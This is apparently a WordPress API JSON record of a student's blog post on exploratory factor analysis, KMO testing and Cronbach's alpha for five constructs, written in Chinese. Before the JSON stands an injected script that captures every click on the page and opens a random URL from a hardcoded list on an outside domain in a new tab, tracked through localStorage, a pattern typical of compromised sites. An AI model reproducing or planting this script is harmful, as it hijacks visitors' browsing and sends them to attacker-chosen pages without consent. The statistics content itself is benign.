<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1317,"date":"2023-11-07T18:45:15","date_gmt":"2023-11-07T10:45:15","guid":{"rendered":"https:\/\/edu.secda.info\/scu11354013\/?p=1317"},"modified":"2023-11-07T22:38:28","modified_gmt":"2023-11-07T14:38:28","slug":"week7-%e5%a4%9a%e8%ae%8a%e9%87%8f%e5%88%86%e6%9e%90","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu11354013\/?p=1317","title":{"rendered":"WEEK7 \u591a\u8b8a\u91cf\u5206\u6790"},"content":{"rendered":"<p><span style=\"color: #004466;\"><strong>\u5c0d\u8cc7\u6599\u5eab\u9032\u884cdata1-1.xls \u4e2d\u7684\u4e94\u500b\u69cb\u5ff5\u7684EFA \u6548\u5ea6\u8207Cronbach\u2019s \u03b1\u4fe1\u5ea6\u8003\u9a57\u3002<\/strong><\/span><\/p>\n<ul>\n<li>\u5229\u7528KMO\u6aa2\u5b9a\u662f\u5426\u9069\u5408\u9032\u884c\u56e0\u7d20\u5206\u6790<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1318\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/KMO-300x64.png\" alt=\"\" width=\"300\" height=\"64\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/KMO-300x64.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/KMO-800x170.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/KMO-768x163.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/KMO.png 925w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u21d2KMO\u503c\u6108\u63a5\u8fd11\uff0c\u6108\u9069\u5408\u9032\u884c\u56e0\u7d20\u5206\u6790\u3002\u7531\u65bcKMO\u503c=0.93\uff0c\u56e0\u6b64\u9069\u5408\u9032\u884c\u56e0\u7d20\u5206\u6790\u3002<\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li>\u6c7a\u5b9a\u56e0\u7d20\u500b\u6578<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1319\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/Parallel-Analysis-Scree-Plots-300x286.png\" alt=\"\" width=\"300\" height=\"286\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/Parallel-Analysis-Scree-Plots-300x286.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/Parallel-Analysis-Scree-Plots-800x764.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/Parallel-Analysis-Scree-Plots-768x733.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/Parallel-Analysis-Scree-Plots.png 821w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u21d2\u7531\u5716\u793a\u53ef\u77e5\u9069\u5408\u75285\u500b\u56e0\u7d20\u4f86\u9032\u884c\u5206\u6790\u3002<\/p>\n<ul>\n<li>\u63a2\u96aa\u6027\u56e0\u7d20\u5206\u6790<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1320\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/loading-206x300.png\" alt=\"\" width=\"300\" height=\"300\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/loading-150x150.png 150w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/loading-270x270.png 270w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/loading-230x230.png 230w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>Cronbach\u2019s \u03b1\u4fe1\u5ea6\u5206\u6790<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1321\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f1-300x175.png\" alt=\"\" width=\"300\" height=\"175\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f1-300x175.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f1-800x467.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f1-768x449.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f1.png 818w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u21d2raw alpha=0.85\uff0c\u82e5\u522a\u9664\u4efb\u4f55\u4e00\u984c\uff0c\u90fd\u6703\u4f7f\u4fe1\u5ea6\u4e0b\u964d\u3002<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1322\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f2-300x156.png\" alt=\"\" width=\"300\" height=\"156\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f2-300x156.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f2-800x416.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f2-768x400.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f2.png 853w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u21d2raw alpha=0.84\uff0cb5\u53ef\u522a\u53ef\u4e0d\u522a\u3002<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1325\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f3-300x157.png\" alt=\"\" width=\"300\" height=\"157\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f3-300x157.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f3-800x419.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f3-768x402.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f3.png 840w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u21d2raw alpha=0.81\uff0c\u82e5\u522a\u9664\u4efb\u4f55\u4e00\u984c\uff0c\u90fd\u6703\u4f7f\u4fe1\u5ea6\u4e0b\u964d\uff0c\u6545\u4e0d\u80fd\u522a\u3002<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1323\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f4-300x169.png\" alt=\"\" width=\"300\" height=\"169\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f4-300x169.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f4-800x452.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f4-768x434.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f4.png 834w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u21d2raw alpha=0.88\uff0c\u82e5\u984c\u76ee\u592a\u591a\uff0c\u53ef\u522ae6\u3002<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1324\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f5-300x160.png\" alt=\"\" width=\"300\" height=\"160\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f5-300x160.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f5-800x427.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f5-768x410.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/f5.png 826w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u21d2raw alpha=0.89\uff0c\u82e5\u522a\u9664\u4efb\u4f55\u4e00\u984c\uff0c\u90fd\u6703\u4f7f\u4fe1\u5ea6\u4e0b\u964d\uff0c\u6545\u4e0d\u80fd\u522a\u3002<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5c0d\u8cc7\u6599\u5eab\u9032\u884cdata1-1.xls \u4e2d\u7684\u4e94\u500b\u69cb\u5ff5\u7684EFA \u6548\u5ea6\u8207Cronbach<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1317"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1317"}],"version-history":[{"count":5,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1317\/revisions"}],"predecessor-version":[{"id":1348,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1317\/revisions\/1348"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1317"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1317"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1317"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}